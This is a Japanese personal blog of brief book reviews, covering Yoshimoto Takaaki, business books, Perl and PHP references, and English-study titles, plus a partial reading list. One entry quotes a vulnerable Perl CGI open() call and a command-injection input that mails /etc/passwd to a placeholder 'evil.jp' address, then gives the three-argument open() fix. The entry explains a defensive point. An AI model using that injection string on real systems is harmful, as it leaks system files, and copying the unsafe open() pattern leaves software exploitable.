余裕のない日本を考える

久々に図書館へ行ったのでふらふらしてこれだけ借りてきた。三島由紀夫の「檄」についての文章があったのでこれにしてみたんだけど内容はさっぱり理解できなかった。
それより、江藤淳って人との対談でこの江藤って人が(以下引用)
村上春樹さんの「ノルウェイの森」というのは、二百何十万部だか出ていて、大変評判になっていると聞いています。この小説は拝見してないのですけれども、しかしこれまたサブ・カルチャーであるということについては、私は譲る気持ちはないんですね。


ということを言っていて、まあなんか吉本隆明の方は両村上の方が大江とか中上よりいいよね、って話をしてんだけど、江藤の方は読んでないくせになんか言いたそうで、でも結局訳の分からない話で締めくくってある。はあまあこんなところで「ノルウェイの森」でサブカルと出会うとは思いませんでしたよ、ほんとに。
まあしかもこれも既に20年も前の話。20年も前に「ノルウェイの森」があんなのサブカルチャーだって言われて、そんで今はどうなの? ってことだよね。
そのサブカルチャーすら既に過去のものになっているような気がするんですけどね。

余裕のない日本を考える余裕のない日本を考える
(1995/09)
吉本 隆明

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theme : 図書館で借りた本
genre : 本・雑誌

勝間式「利益の方程式」 ─商売は粉もの屋に学べ!─

「インターネットは貧乏神、関わった人の収益が一律に下がってしまう」といのはどういうことか知りたくて買ったが、あ〜そういうことね、って感じであっさり終わっちゃってちょっとがっくり。
全体的に今まで読んだこの人の本の中で一番抽象的な話ばかりでどうにも読んでると猛烈に眠くなってしょうがない。

文脈としては、「時間のアービトラージ(裁定)」の説明の中で、インターネットは誰か他の人が何かを始めるとすぐに他の人も同じことを始めることができるので、サービスが乱立して結局上位の1、2社しか儲からない、という話。
こりゃ〜はてなの苦悩のことか?!

勝間式「利益の方程式」 ─商売は粉もの屋に学べ!─勝間式「利益の方程式」 ─商売は粉もの屋に学べ!─
(2008/04/04)
勝間 和代

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theme : この本買いました
genre : 本・雑誌

ライブドアに物申す!!―44人の意見

ライブドア事件について44人の意見をまとめた本。
あらためてマスコミのひどさを思い知るって感じですかね。

ライブドアに物申す!!―44人の意見ライブドアに物申す!!—44人の意見
(2006/09)
浅羽 通明池田 信夫

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theme : この本買いました
genre : 本・雑誌

悪人正機 (新潮文庫)

生きる、とか、ともだち、とか、殺意、とか他いろいろについて糸井重里が吉本隆明に聞いた話をまとめた本。
本当はひきこもれっていう本を買いたかったんだけど、見つからないのでこれにした。やーなんかこれも読み始めると止まらない本ですね。なんで今まで俺は吉本隆明読まなかったんだろう? 以下本書より引用

素質がないといえば、三島由紀夫がそうですよ。この人にはもう、文学の素質なんかないと思いますね(笑)。ないけど、やっぱり天才的な人だな、天才的な作品だなと思うんですけどね。
そのことを見破っていたのは武田泰淳なんですけど、三島由紀夫が市ヶ谷で自決しちゃった時の追悼の中で「この人は刻苦勉励の果てに死んだ」ってあからさまに書いてるんです。
本当にそうですよ。三島さんて人は、刻苦勉励ですよね。素質あると思えないですね。もう、全然鈍い感度の人で、ダメなんだよなっていうふうにしか思えないんだけど・・・・だから、関係ないわけですよ。


やー、そうねえ、そう言われればそうかもねえ、と思ってしまいました。
三島由紀夫についてはこれまで何冊か伝記っぽい本読んだことあるんですが、確かにその、作家として認めてもらうまでの努力とか、自決するまでのいろいろな、例えばボディビルで肉体を鍛えたりとか、そういう行為がほんと涙ぐましいんですよね。やー真面目な人だなあっつーか。
なので努力の人だというのは分かる。でもやっぱり才能はあったんじゃない? 天才だと思うけど。
才能と素質は違うんですかね。センスがないってこと?


悪人正機 (新潮文庫)悪人正機 (新潮文庫)
(2004/11)
吉本 隆明糸井 重里

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theme : この本買いました
genre : 本・雑誌

ワイド版 風の谷のナウシカ7巻セット「トルメキア戦役バージョン」

7巻セットでこの値段って安くないすか?!思わず買ってしまいました。
なつかしい、というか、当時ついてたポスターとかまでそのまんま入ってんのね。。
なんでせっかくのポスターなのに「敗走」なんかなあ??と、当時思ったことと全く同じことを今も思った。

ワイド版 風の谷のナウシカ7巻セット「トルメキア戦役バージョン」ワイド版 風の谷のナウシカ7巻セット「トルメキア戦役バージョン」
(2003/10/31)
宮崎 駿

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genre : 本・雑誌

WEB+DB PRESS Vol.44

例のアルファギークの対談が連載されてる雑誌がこれです。とりあえず買ってみました。
以下冒頭の対談より引用
高橋征義さんの2年前のYAPCでやったプレゼンがあるんですけども、Babel-17っていう、宇宙人の兵器でかつ言語、これを覚えると頭がよくなるというSFものがあって。ものすごいストーリーをはしょって言うとそうなっちゃうんですけども、高橋さんはRubyistですからRubyがそれなんだというんですが、PHPって、これ言うと怒られるかもしれないけど「逆Babel-17」じゃないかと(笑)。使うとなんかあほになってくって感じがするんだよね(笑)

ここまではっきり言ってもらえるとすっきりしていいよね。
バベル17って本にも興味津々ですが、どうも既に中古でしか手に入らないようです。
ここまで言われてPHP使ってるのもどうなのって思うけど、実際現場ではPHP以上に手軽なものもないってのが現実で、perlでやるにしてもサーバー管理者にcpanからこれ入れてよって頼めない、ましてやrails用のサーバーの設定なんて知らん、って現状ではね、PHPしかないでしょう!
そりゃ言語云々じゃなくて開発体制がしょぼすぎる問題だろって話でもあるが、それにしてもrootでないと入れられないってのは致命的に過ぎる。
まあでもこれ読んで少なくともこれ以上PHPに投資するのはやめようと決めた。


WEB+DB PRESS Vol.44WEB+DB PRESS Vol.44
(2008/04/24)
WEB+DB PRESS編集部

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genre : 本・雑誌

CakePHP ポケットリファレンス (Pocket Reference)

CakePHP ポケットリファレンス (Pocket Reference)CakePHP ポケットリファレンス (Pocket Reference)
(2008/06/18)
株式会社ブルーオーシャン 岡田 佳典

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いわゆるリファレンス本。こんなに機能があったとは驚きだ。
ガイドブックを読んである程度作れるようになった人でないと使いこなせないかも。

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genre : 本・雑誌

まるごとPerl! Vol.1

子飼弾によるencodeモジュールの解説や、ライブドアのperlのフレームワークの紹介等々。
こりゃVol.1なのか。2も出るのか。。

まるごとPerl! Vol.1まるごとPerl! Vol.1
(2006/08/24)
小飼 弾宮川 達彦

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genre : 本・雑誌

入門Trac with Subversion―Linux/Windows対応

入門Trac with Subversion―Linux/Windows対応入門Trac with Subversion―Linux/Windows対応
(2008/05)
高山 恭介

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バージョン管理からプロジェクト管理へ。Subversionでコミットするだけ。Webで手軽に「プロジェクト管理」帯より。
入れてみたもののさっぱり使い方が分からないので本買ってみた。

ざーっと読んでみて大体の使い方は分かった。レポジトリブラウザのところが分かればよかっただけかも。wikiを使ってどうドキュメント(エクセルとかの)を保持するかがいい案が浮かばないなあ。

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genre : 本・雑誌

達人に学ぶPerl/CGI道場

こちらで紹介した本「セキュアWebプログラミングTips集」にてさんざん指摘されているperlのopen()関数の使い方について追記。
例えばその本で示されているのはこんな書き方です。
${fileName} = $ENV{"QUERY_STRING"};
${fileName} =~ s/%([0-9a-fA-F][0-9a-fA-F]/pack("C",hex($1))/eg;
open (FILE, "/usr/apache/cgi-bin/${fileName}.txt");
これに対して、
;sendmail foo@evil.jp < /etc/passwd|%00
とインプットすると、
/usr/apache/cgi-bin
sendmail foo@evil.jp < /etc/passwd

が実行されてしまう、という。その本での対策は読み取りモードの引数「<」をちゃんと書け、というもの。

一方この小飼弾の2003年の本では、引数が3つのopen()を使え、とある。
open FILE, '<', "index.html"; #index.htmlをFILEで読み込み
open my $fh, '<', "index.html"; #より現代的な書き方


達人に学ぶPerl/CGI道場
達人に学ぶPerl/CGI道場
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小飼 弾
インプレス
売り上げランキング: 272415
おすすめ度の平均: 3.5
3 薄すぎる本
2 細かい間違いが目立ち、校正に問題あり
5 達人って誰?

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genre : 本・雑誌

自閉症の子どもたちの生活を支える―すぐに役立つ絵カード作成用データ集

自閉症の子どもたちの生活を支える―すぐに役立つ絵カード作成用データ集自閉症の子どもたちの生活を支える―すぐに役立つ絵カード作成用データ集
(2008/02)
不明

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なんとか子どもにおトイレやお片づけやそういった生活のことをちゃんとできるようになってほしくて買ってきました。
これでカードを作って見せてみるつもり。

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genre : 本・雑誌

2ちゃんねるはなぜ潰れないのか?

2ちゃんねるはなぜ潰れないのか? (扶桑社新書 14)2ちゃんねるはなぜ潰れないのか? (扶桑社新書 14)
(2007/06/29)
西村 博之

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新書コーナーでふと目にとまったので、一瞬躊躇したんだけど、買ってみた。
おもしろい。やー、2ちゃんねるの人ってこんな人だとは思わなかった。
すごいじゃないですか。

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相手にYesといわせる SEの英会話「超」入門

相手にYesといわせる SEの英会話「超」入門相手にYesといわせる SEの英会話「超」入門
(2006/05/12)
二上 貴夫

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JUNKUDOで探してて、どうも語学/英会話の棚にはいいのなくて、SEの棚の一番下でこの本が買ってくれと言ってるような気がしたので。
ダイアログがたくさん載ってるのでこれは使えそう。

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genre : 本・雑誌

私塾のすすめ ─ここから創造が生まれる

どうも最近この手の本読んでないと落ち着かなくて。
また買って来てしまった。

私塾のすすめ ─ここから創造が生まれる (ちくま新書 (723))私塾のすすめ ─ここから創造が生まれる (ちくま新書 (723))
(2008/05/08)
齋藤孝 梅田望夫

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パソコンとITに強くなる英会話―これで私もオフィスの主役

パソコンとITに強くなる英会話―これで私もオフィスの主役パソコンとITに強くなる英会話―これで私もオフィスの主役
(2004/09)
橋本 行英クリス ツァファーロフ

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CDもついてるし、朝日出版社だし、っつーことで。
えー、すごいゆっくりだよ。

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genre : 本・雑誌

IT英語のナゾ

IT英語のナゾIT英語のナゾ
(2003/02/22)
豊沢 聡緒方 孝文

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ちょっとした用語集といった感じで、abendとかguruとかIT特有の単語についての解説。かなりマニアックな感じで読み始めたらやめられなくなりそう。

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誰も教えてくれなかったIT英語―海外ITエンジニアはこう話す!

誰も教えてくれなかったIT英語―海外ITエンジニアはこう話す!誰も教えてくれなかったIT英語―海外ITエンジニアはこう話す!
(2002/06)
板垣 政樹小坂 貴志

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レバレッジ英語勉強法」に偏った英単語、偏った言い回しの勉強として、「日・仏・英 プロのためのワイン会話集」という本が紹介されてるじゃないですか。ただ私の場合、ワインには全く何の興味もないので、他にこういう偏った英語についての本はないかなと、探して、これかなって感じで。やー、実に面白い本です。もう少し会話文が多いといいかなーという感じではありますが、全部暗記するつもりでがんばります。

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Basic Grammar in Use with Answers

Basic Grammar in Use with Answers : Self-Study Reference andPractice for Students of English (Grammar in Use Series)Basic Grammar in Use with Answers : Self-Study Reference andPractice for Students of English (Grammar in Use Series)
(2002/06)
Raymond MurphyWilliam R. Smalzer

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どっかの多読サイトに書いてあったので。
やー、一回開いてすぐ閉じた(笑)
なんか学生の頃よくみたね、こういうページ構成。

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Author:gojotaro
自己紹介の100冊。
無理、そんなに本読んでない、
(未完)
1.蓮と刀―どうして男は“男”をこわがるのか? (河出文庫)
2.AV女優 (文春文庫)
3.春の雪 (新潮文庫―豊饒の海)
4.奔馬 (新潮文庫―豊饒の海)
5.クージョ (新潮文庫)
6.ガープの世界〈上〉
7.ガープの世界〈下〉
8.腐蝕の構造 (ハルキ文庫)
9.ヴァリス (サンリオSF文庫)
10.宇宙からの帰還 (中公文庫)
11.失われた世界 (創元SF文庫)
12.決定版 幻魔大戦〈1〉(集英社文庫)
13.アウトサイダー (集英社文庫)
14.太陽の塔 (新潮文庫)
15.火星年代記 (ハヤカワ文庫 NV 114)
16.夕ばえ作戦 (ハルキ文庫)
17.嵐が丘 (新潮文庫)
18.フラニーとゾーイー (新潮文庫)
19.月の記憶―アポロ宇宙飛行士たちの「その後」〈上〉
20.月の記憶―アポロ宇宙飛行士たちの「その後」〈下〉
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22.地底旅行 (創元SF文庫)
23.フェルマーの最終定理 (新潮文庫)
24.物理学はいかに創られたか(上巻)
25.物理学はいかに創られたか(下巻)
26.ハックルベリー・フィンの冒険〈上〉 (岩波文庫)
27.ハックルベリー・フィンの冒険 下  岩波文庫 赤 311-6
28.日本探偵小説全集〈4〉夢野久作集 (創元推理文庫(400‐4))
29.黒猫・黄金虫 (新潮文庫)
30.ご冗談でしょう、ファインマンさん〈上〉
31.ご冗談でしょう、ファインマンさん〈下〉
32.タオ自然学
33.Holes
34.涼宮ハルヒの憂鬱
35.ぼくたちの洗脳社会 (朝日文庫)
36.甲賀忍法帖 (角川文庫)
37.Yの悲劇 (創元推理文庫 104-2)
38.ゴクミ語録 (角川文庫)
39.


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